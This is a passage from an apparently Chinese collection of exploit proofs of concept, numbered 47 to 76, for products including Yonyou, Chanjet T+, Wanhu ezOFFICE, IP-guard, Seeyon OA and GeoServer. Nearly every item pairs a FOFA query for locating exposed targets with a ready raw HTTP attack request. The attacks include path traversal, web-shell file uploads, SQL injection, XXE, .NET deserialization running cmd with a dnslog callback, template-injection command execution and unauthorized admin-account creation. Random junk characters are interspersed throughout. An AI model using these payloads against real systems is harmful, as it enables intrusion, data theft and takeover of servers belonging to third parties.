" l0 e1 V* X( [9 B" f3 R7 k% g* dConnection: close
0 ~9 N9 @6 E1 b
" j& h/ I0 W$ ?- I; V5 ~! Y
  \& d6 _6 q1 A) u47. 用友GRP A++Cloud 政府财务云 任意文件读取
, ~( |8 r: C  g: xFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
  w- A/ P# B6 O( k: q! l8 G' rCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
  I1 h3 o( V( E- X2 W* UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% Y/ R0 m- C# K4 b- q' L* r; ]: OAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
5 Z, X$ F9 _9 i% F6 W& l2 rConnection: close
& @1 m, K/ e' K( Q& f

/ h3 L; C' J+ v  Q2 S( H2 u" @* ?5 q
48. 用友U8 CRM swfupload 任意文件上传
6 K0 v, R- N, }* e+ D3 V% s+ iFOFA：title="用友U8CRM"
4 `/ s9 E& e7 W& W/ RPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
7 {: C9 t2 W) L$ y* mHost: your-ip
3 S- l. h2 A$ |: H. LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
0 r: e# Q* q" J& p+ BContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
% e; D8 c3 O1 C6 W2 y1 [% I1231
Content-Type: application/octet-stream
& y6 ~% B+ j6 x( V" N% s$ l$ p------269520967239406871642430066855
. g3 ^1 H, ]( j: o; u  TContent-Disposition: form-data; name="upload"
; c1 u. \6 G7 w  T! ?upload
------269520967239406871642430066855--

: c' c6 Q1 W9 q3 [* r, x
2 Y0 T" w, C+ r49. 用友U8 CRM系统uploadfile.php接口任意文件上传
  X7 O" \9 B$ h4 r# ^+ vFOFA：body="用友U8CRM"
% X8 @. R/ u$ B" G5 P3 i
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
( }8 D" U$ D7 |; W& I1 b' KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* k- r8 t- M. _# R9 C7 {( b3 u( }Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 K. `( l! x  P5 Z' k' t9 O& w( HConnection: close
' G8 l: r$ |2 [* R6 yContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

# y! P/ k$ N2 ~2 f! `6 a-----------------------------vvv3wdayqv3yppdxvn3w
4 q, B0 s4 i' b- E7 ?+ ~! T+ x( k' `Content-Disposition: form-data; name="file"; filename="%s.php "
/ n4 f- C2 x9 S$ c, i2 kContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

9 J  t& t1 y( [* Cupload
' c# K& L3 z+ n( `2 X9 o( x-----------------------------vvv3wdayqv3yppdxvn3w--

0 O6 S/ C, m( s4 H, |7 P; M
4 x4 g0 V8 g. [/ x2 d0 W/ }http://x.x.x.x/tmpfile/updB3CB.tmp.php
0 t' c/ D+ C3 {, Z% R. L
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
6 k9 \5 X1 J* n( zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
* y  e5 l6 Q$ d0 N2 HConnection: close
Content-Length: 224
( |1 g9 B0 C% ]5 R/ hAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
( ^5 J: t2 V7 S- @. fHost: your-ip
) @+ O  i: j, z" I2 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# |6 q/ T7 z+ I8 mConnection: close
9 B6 ]. T4 x/ G: j7 r$ l
7 }$ e7 E( U" j, s$ ]  i4 ]+ c& z
52. 泛微E-Office json_common.php sql注入
( K* j2 c* r3 KFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 M. n- B/ n# f9 hConnection: close
Content-Length: 87
0 S0 L2 O4 e- i) p' }Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


+ [) `* I! O( Y; |( b0 b# n! S54. 畅捷通T+ getstorewarehousebystore 远程代码执行
6 N' W3 ^: S) B. d2 _FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


: p! w. Y) x3 M) m完整数据包
4 t) L' w' B# _7 f- k2 J0 V7 VPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
1 r; t3 T8 E" a# {9 IContent-Length: 593
* Q% f7 @5 N  |9 S# t
9 a& K7 b0 l) T5 o! @, g{
) X( G9 P- V, n0 F" |* }"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
! U. n" m( q+ K0 q5 \- j "MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
, l7 c0 p  e$ J5 C    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
% n! y7 u6 x! c" V+ S    "FileName":"cmd",
6 f1 ~' {) f9 t. p    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
! N% N% S' a6 b" z4 j3 k    }
  }
$ T! |  ^* ^7 Q, k* n  }
1 x  \2 t2 S$ [8 n% v}


  p* g. w7 M+ A7 \3 m- z第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


# [$ F$ x1 k' l3 o* Y55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
* N; x2 j& c3 z! K0 I第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
! ^3 @+ _: S3 L4 y0 \% L第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

/ T! ~, Z$ v& D: B56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
# q. ~1 l8 ?  N9 fFOFA: app="畅捷通-TPlus"
1 S! p1 V) e7 U6 _6 f& SPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
) T! ~: \6 P4 q& CHost: x.x.x.x
+ N- w% B# ?8 P% BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
' w4 q0 U8 Y6 j  ~5 mContent-Type: application/json
5 }7 }- f3 r1 e: |- B% w. x
{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
$ P7 a& g3 h' C# O9 [, s+ @   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
9 c0 L6 S9 C( l% b        "StartInfo": {
- b, c" m2 [2 K: I5 o3 r           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
  }
  e- k- G6 v: b6 F) W6 l1 x}
+ z4 E; y. I& H( C* Z0 v1 J; b$ H
6 \  ?9 Y: F3 T' G$ n4 {" m; n
+ a7 R1 n7 [2 S1 a57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
; }, x! J' j& J- B# fUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* \, y) m: @) X# T6 t# `' g7 m) D  jAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
9 }. q8 q4 s5 E# z4 E! iConnection: close


/ c5 j7 @) l; i% z: o4 \" j  s58. 畅捷通T+ KeyInfoList.aspx sql注入
- J% B  n2 Y. m. i0 tFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
, ~; K- q3 W: ]7 }+ V3 c: DUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
; V/ T5 U: h7 GAccept-Encoding: gzip, deflate
8 \4 Q, ^, u/ }2 y" i5 Y+ [- rConnection: close
& s6 F* l) f* Q  o! I; b+ N
& K: P* i( |) t' X$ |+ j* V
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
7 Y! d# t0 U( w* Q% S" iPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
* z  f1 G& u5 p3 D* E4 \: D- a& ]6 L$ nAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
, b/ E0 ?/ @+ UAccept-Encoding: gzip

3 c' A4 p0 `: w0 K* @PAYLOAD
% Y% ~5 P- Z/ z

60. 百卓Smart管理平台 importexport.php SQL注入
! I; s1 I3 D1 I& v* dFOFA：title="Smart管理平台"
, v1 Z0 k' t! r. qGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
# e9 A/ E1 w: g* l0 B1 G- c: m8 P1 cHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ a9 x5 b( c( H$ iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 S, `' r0 }  _. p7 ^( hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. f" ?1 M* Z% J" XConnection: close
2 ^/ A( w% G  f6 w- z/ [$ Q! \8 Y

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
8 [9 z0 }) m2 g- l; ~$ J$ zPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
% g/ }. W# L2 i( ~* I2 Q( IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' r, M; H9 `) @2 F4 d3 wConnection: close
, V- P% o6 V& iContent-Length: 27
5 h% |7 J, Y' K2 I* F5 E  pAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
4 T8 j2 C8 ?% _8 m
8uxssX66eqrqtKObcVa0kid98xa
8 @0 \( @9 f% T0 |3 {/ J6 C# i( K+ i

62. IP-guard WebServer 远程命令执行
, [6 d+ W+ T" z8 [FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
! F) @1 `- R: y* ^( B  h$ Z. YAccept: */*
Accept-Language: en
7 u' b: F& b$ B; M) d+ I) ZAccept-Encoding: gzip
' r! L3 N* ]9 S8 [0 k4 n: b% b7 u

8 b7 v6 e1 |( H4 ?0 J访问
/ e7 k' r3 v7 W* [% H8 L
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
; e! Q8 p& p/ T. a+ Z* K2 u7 \Host: x.x.x.x
! o% f3 S8 A, G$ b+ h3 f5 x# w! b
, g4 i3 U5 ]  t
; w2 {5 N% [. ?  N/ @63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
# @/ k0 r/ ]" O) bFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
* f$ @& c& r- x6 B- F* j% p/ W7 YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, D) [/ ]% r; H! C, yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% E/ k7 \2 }; S3 B) H8 HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ [4 N. O! B. L7 @) oConnection: close
Content-Type: application/x-www-form-urlencoded
7 t# B5 t% r" Q, ~
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
# c5 D" P6 M" o5 l" N. A8 x, ^! x
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
7 G: |/ u" t" U& \FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
, g0 w+ l) {" ]+ c$ N6 \Content-Length: 369
, H- e5 `0 B/ f+ b( b2 T0 CAccept: */*
Accept-Language: en
2 H& R2 U( ~0 ]. @. t) AContent-Type: text/xml; charset=utf-8
+ b; D1 F  v  H/ [+ k- W, NAccept-Encoding: gzip

' |1 w4 W3 G4 P# Q) p/ p2 `<?xml version="1.0" encoding="utf-8"?>
$ w/ F$ i* F/ U1 E$ c! l<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
) f& o" P3 B9 D; {7 ^) F  </soap:Body>
</soap:Envelope>
* i9 n3 P/ E; I' J0 e

) ?# A  O8 ]: [% \& _65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
& o, F  _( k/ q  H5 @! L# x3 t) YFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
4 b- m+ [+ R$ v, a) ]- dHost:
. _, B. T" h7 C6 w- c( }  J0 R( ?; ^1 yUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
4 X  g3 [  ^& ?Accept: */*
Connection: close
5 L4 c; @! r( s( i$ j( P- l/ i/ \Accept-Language: en
, W$ h. ^- T: g# ^Content-Length: 174
1 l5 U4 a5 d/ A
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
1 N- {- H1 L, p% D
9 K; s$ ^* C" u/ v4 c2 g/ `# `
. A5 U; l! {. q! ^& |" R' Z% T. H66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
7 V( W4 s; {* X2 l( LFOFA：app="万户ezOFFICE协同管理平台"
- o  e8 p' s% A+ [; [, p
: x0 A8 R: O7 WGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
/ O: A/ F% g. h5 G' VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
! M6 B6 d; {% |! i/ `& z9 fAccept: */*
/ l/ p4 c! Y- J" B! SAccept-Language: en
Accept-Encoding: gzip

  {( O4 p  U) t6 C1 L$ k3 Z) Y
第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

# c+ y+ H+ @  _67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
" W0 k# ]$ {* Y4 M5 a7 enewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
8 M1 [  L9 b( p6 uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
* H$ \+ U8 j3 o& D- Z3 S# ]1 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
% g( N  C7 ?, H7 o$ l; w9 U2 XContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

6 C/ L* _) P& G8 m5 n--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
; N& v% ]) d7 d9 f) l: k  S+ ~
6 n# ]% r. _% J! x8 w7 n) u* ~<% out.print("sasdfghjkj");%>
! H( I. z5 S! n% z--ufuadpxathqvxfqnuyuqaozvseiueerp--
8 e6 p+ p2 ?, f3 |( V7 ^  B
9 U" h8 ^0 y' P8 Y' }/ `
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
$ C- }2 x) R3 U1 D
. o+ S- K# Q) B( b7 n68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
! _7 b" E! W# NGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

) _- q' U. _( |- T" n
69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
+ c9 Z9 V' G, m' K/ ?: F) c* {2 RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  {. {( ^1 t$ J: n2 aAccept-Encoding: gzip, deflate
Accept: */*
( v2 @6 m( l4 V+ W7 u* O/ G$ h& }Connection: keep-alive


70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
$ S- t" N7 Z  OPOST /member/success.aspx HTTP/1.1
2 m3 p% X; e; u; J6 J2 e& k) l6 @) hHost: {{Hostname}}
. q. g8 S3 a! z5 W) `2 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
) C9 a2 d) W: i4 Z- [+ BSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
9 V& {( V! ^$ v) K% s, aContent-Type: application/x-www-form-urlencoded
! M! H" z0 m) `6 |$ D6 e6 w  eTYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD

( P$ d" Q" Z9 K
5 z  b- H; l8 f7 X' t8 r71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
5 O6 e6 [8 m6 j/ v0 V8 Y" k* RFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
$ a" M' P5 N8 P: w; R, I! x  v! hHost: x.x.x.xx.x.x.x
4 u3 M# X3 l3 j1 T. o* D  _User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
8 x8 Z( Y8 |2 L2 D) B7 N' s4 lConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" F9 f# R% O* I# D& n, W0 bAccept-Encoding: gzip, deflate
5 B  X$ Q+ B  I& H; L0 K3 z  V: _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- _6 ]/ t* l1 N% z& jUpgrade-Insecure-Requests: 1
5 p7 c, O& |6 E' g% P

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
6 M; H6 V9 k2 O+ W# I0 J' a- kPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
( ^: m" G) ~$ R1 THost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

1 {# f+ r* n% DS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


) c: m$ T4 J# q' y3 z' J" p73. GeoServer wms远程代码执行
1 G+ \3 E; ~' a, [" q$ eFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
7 f3 m8 @7 n7 AHost:
" |9 s% {) {( H" i7 R2 rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
8 L/ \7 v( R9 ~9 }" F( w$ Z. qContent-Length: 1981
Accept-Encoding: gzip, deflate
" b/ q& B, E! V' \0 i0 I% Z: G2 \Connection: close
  E! Y+ {/ p" g9 MContent-Type: application/xml
SL-CE-SUID: 3

PAYLOAD


1 U; P3 L" u0 h  d' T74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
! S% X* ?* X1 g# Z4 n3 IPAYLOAD
/ ?# t; [  \) P& s. u; g* N
( b: c# `) X, v6 ?) k' ~7 [( B75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
+ J. z, `  }+ V/ d7 M, XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
9 k, z. Q& c# q4 \& ?Accept: */*
& d8 R* h3 }9 e) C/ cAccept-Language: en
Accept-Encoding: gzip

; `7 i) p" ?5 q3 b& D
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
- f2 G! {* M! Z6 X
9 \- h3 _# v2 V
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
: H7 `* u- S/ K6 a! r& \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
) r% ~$ A  z; V- a8 G* o1 ~Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 w/ K. @7 y8 o' p! M6 dAccept-Encoding: gzip, deflate
. G* H" ~& N3 [& \6 m4 ?8 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
  ?) l! k( W  O. u3 y" I"command": "GetFZinfo",
! C, w: n' z2 r% [  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
9 ~4 {! n7 S6 p* w+ Y4 l3 `}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
7 P) C) d% ^# b; S3 KHost: x.x.x.x
. \* h) S  d9 [
# I" r8 Y, L0 {1 V9 F3 ]4 N
